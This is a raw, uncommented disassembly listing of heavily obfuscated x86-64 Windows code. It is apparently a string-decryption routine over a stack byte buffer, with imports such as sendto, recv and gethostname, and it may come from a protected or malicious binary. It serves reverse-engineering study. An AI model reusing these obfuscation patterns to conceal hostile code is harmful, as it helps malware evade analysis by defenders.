movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 8
jmp 0x14013352a
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x60
jmp 0x14013369d
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x68
jmp 0x140133634
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401335bf
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x140132fdf
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401331dd
lea rdx, [r10 + r12]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401332a8
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401331f8
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
jmp 0x1401330a8
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140133222
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x14013352a
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14013324e
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x68
jmp 0x14013369a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14013327d
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 0x10
add r12b, dl
jmp 0x14013366f
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401332a4
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 8
jmp 0x1401335ef
mov r12, qword [rbp - 8]
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140133506
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14013335c
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp rbx, 0x80
jae 0x1401334db
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401333fd
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp r9, 0x42
jb 0x1401330e5
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, cl
jmp 0x1401335f2
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140133386
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x2c
jmp 0x140132fdf
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401333a3
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401335bf
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401333cf
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x74
jmp 0x14013369d
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401332ea
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x14013352c
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013341a
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401330a8
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140133444
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x38
jmp 0x1401336d0
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140133470
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x30
jmp 0x14013369a
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14013348d
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14013365b
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401334b0
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add cl, 0x80
jmp 0x140133634
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013332b
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x28
jmp 0x140133000
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, byte [rbp + r10 + 0xd30]
sub r12b, al
sub r12b, 0x20
add r12b, r8b
jmp 0x140133275
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
add cl, cl
sub cl, byte [rbp + r10 + 0xd30]
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xd30], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401336d6
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x54
jmp 0x14013369d
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 4
jmp 0x140133275
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
jmp 0x14013361a
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
mov qword [rbp - 8], rcx
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add r9, r15
jmp 0x140133640
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x6c
add al, al
sub r8b, al
add cl, r8b
mov qword [rbp - 8], rcx
sub r10, r15
mov r12, qword [rbp - 8]
jmp 0x14013373f
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r12b
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r9
mov qword [rbp - 8], r12
movzx eax, r12b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013373f
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov cl, r11b
sub cl, al
sub cl, 0x24
add cl, dl
mov qword [rbp - 8], rcx
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
mov r12, qword [rbp - 8]
jmp 0x140133730
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov r12b, cl
mov qword [rbp - 8], r12
movzx eax, byte [rbp + r10 + 0xd30]
add rax, r9
add r10, rax
add r10, r15
jmp 0x140132d85
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x24
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x140132d80
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x140132d70
lea rax, [rbp + 0x16a0f40]
mov cl, dl
mov qword [rbp - 8], rcx
jmp 0x1401337ba
lea rax, [rbp + 0x6bcacc]
mov qword [rbp - 8], r12
jmp 0x1401337ba
lea rax, [rbp + 0xd30]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xor ebx, ebx
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], rbx
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x1401337d8
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.140088c10
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1420]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 7
cmova rdx, qword [rbp + 0x2c0]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r12d, [r9 - 0x3e]
mov r8d, r12d
lea rcx, [rbp + 0x1420]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1428]
call fcn.14009e5e0
test rax, rax
jne 0x14013387a
mov rax, qword [rbp + 0x1420]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1420]
add rcx, rax
xor r8d, r8d
mov edx, r12d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x1420]
call fcn.14008b580
nop
lea rcx, [rbp + 0x2c0]
call fcn.140091e30
mov byte [rbp + 0xa50], 0x9b
mov byte [rbp + 0xa51], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa52], 0x90
mov byte [rbp + 0xa53], 0xdb
mov byte [rbp + 0xa54], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa55], Ordinal_217
mov byte [rbp + 0xa56], 0x7b
mov byte [rbp + 0xa57], Ordinal_217
mov byte [rbp + 0xa58], 0x43
mov byte [rbp + 0xa59], Ordinal_211
mov byte [rbp + 0xa5a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa5b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa5c], 0x5e
mov byte [rbp + 0xa5d], Ordinal_211
mov byte [rbp + 0xa5e], 0x5d
mov byte [rbp + 0xa5f], Ordinal_211
mov byte [rbp + 0xa60], WSASetLastError
mov byte [rbp + 0xa61], 0xc9
mov byte [rbp + 0xa62], 0x7a
mov byte [rbp + 0xa63], 0xcb
mov byte [rbp + 0xa64], Ordinal_79
mov byte [rbp + 0xa65], Ordinal_200
mov byte [rbp + 0xa66], 0x64
mov byte [rbp + 0xa67], Ordinal_200
mov byte [rbp + 0xa68], 0x54
mov byte [rbp + 0xa69], 0xc1
mov byte [rbp + 0xa6a], 0x5b
mov byte [rbp + 0xa6b], Ordinal_200
mov byte [rbp + 0xa6c], 0x9f
mov byte [rbp + 0xa6d], 0x3d
mov byte [rbp + 0xa6e], 0x9a
mov byte [rbp + 0xa6f], 0x3f
mov byte [rbp + 0xa70], 0x84
mov byte [rbp + 0xa71], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa72], 0xa8
mov byte [rbp + 0xa73], Ordinal_60
mov byte [rbp + 0xa74], 0xad
mov byte [rbp + 0xa75], gethostname
mov byte [rbp + 0xa76], 0xb8
mov byte [rbp + 0xa77], Ordinal_60
mov byte [rbp + 0xa78], 0xad
mov byte [rbp + 0xa79], Ordinal_50
mov byte [rbp + 0xa7a], 0xa0
mov byte [rbp + 0xa7b], gethostname
mov byte [rbp + 0xa7c], 0xbf
mov byte [rbp + 0xa7d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa7e], 0x78
mov byte [rbp + 0xa7f], Ordinal_50
mov byte [rbp + 0xa80], Ordinal_143
mov byte [rbp + 0xa81], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa82], 0xb3
mov byte [rbp + 0xa83], Ordinal_46
mov byte [rbp + 0xa84], 0xb2
mov byte [rbp + 0xa85], Ordinal_41
mov byte [rbp + 0xa86], Ordinal_41
mov byte [rbp + 0xa87], Ordinal_41
xor eax, eax
mov qword [rbp + 0xa88], rax
mov dword [rbp + 0xa90], eax
mov word [rbp + 0xa94], ax
mov byte [rbp + 0xa96], al
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x1401345d7
movzx r8d, byte [rbp + r9 + 0xa50]
mov rdx, r8
cmp rbx, r9
ja 0x1401345ce
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140133a9b
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul r14, rax, 0xfffffffffffffffe
add r14, rcx
add r14, rdx
add r14b, 0x44
jmp 0x140133cf1
je 0x14013453a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140134503
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401344d9
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140134488
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401345c5
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x140133b04
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x6c
jmp 0x140133b45
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140134477
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140134455
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140134409
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401343e4
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140134352
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x14013402f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013400c
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140133fea
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140133fc5
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140133fa3
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140133f7e
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x140133f5a
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140133f46
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x14013459e
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140134572
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x140133cfa
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140133cce
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x140133cab
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140133ede
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140133e53
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140133e2b
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140133e09
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140133de4
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140133dc1
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140133d9e
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140133d7b
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x140133d58
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140133d44
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140133d21
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140133b52
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x140133b52
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x14
jmp 0x140133b45
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x140133ad2
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x24
mov qword [rbp - 0x68], r14
jmp 0x140133a5f
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x60
add dl, cl
jmp 0x1401344a8
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140134125
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x70
jmp 0x1401344f6
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140134425
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x140134520
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 8
jmp 0x1401340b9
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x140134372
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x18
jmp 0x1401341be
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x140134557
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 4
cmp rbx, 4
jae 0x140134301
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x1401341f8
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r14b, r8b
sub r14b, al
sub r14b, 0x38
add r14b, dl
cmp r10, 4
jb 0x1401342f0
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1401344a8
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
lea rax, [rbx + r10]
cmp rax, 0x1000
je 0x14013432a
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1401340e3
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x140133e71
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140134361
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x20
jmp 0x1401340b9
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x140134520
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x140134427
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401344f6
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x40
jmp 0x140134136
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140133d3d
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x140134057
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x140133f01
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140134074
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140133e3a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140134091
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x140133df3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401340c2
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x40
mov qword [rbp - 0x68], r14
jmp 0x14013452a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140133f01
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140133fd4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013410d
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x44
jmp 0x140133d3d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013413f
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x1401344d4
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013416b
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x24
jmp 0x140134520
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140134195
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x14
jmp 0x140133e02
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401341c7
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x1401343aa
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140133e71
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 4
jmp 0x140134557
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140134215
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140133e3a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140134232
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140134361
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14013424f
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140133f8d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140134279
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 8
jmp 0x140134425
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401342a5
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x1401344f6
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401342c2
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140134125
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140133eac
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x70
jmp 0x140133d3d
mov byte [rbp + r9 + 0xa50], r14b
mov qword [rbp - 0x68], r14
jmp 0x14013456a
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, byte [rbp + r9 + 0xa50]
sub cl, al
add cl, r8b
sub dl, 0x60
jmp 0x140134425
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0xa50]
jmp 0x140133dff
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xa50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov r14, qword [rbp - 0x68]
jmp 0x14013455b
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x140134520
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x4c
add dl, cl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, dl
add r8b, cl
mov byte [rbp + r9 + 0xa50], r8b
jmp 0x140134520
movabs rdx, 0x7e92d9196e128b8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401344f6
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140134497
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add r10, r15
jmp 0x1401344fa
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 4
mov qword [rbp - 0x68], rdx
sub r9, r15
mov r14, qword [rbp - 0x68]
jmp 0x14013456a
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
mov qword [rbp - 0x68], rdx
add rbx, r10
mov r14, rdx
movzx eax, r14b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013456a
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea r14d, [rcx + rdx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
movzx eax, byte [rbp + r9 + 0xa50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140133a4c
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x140133a47
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
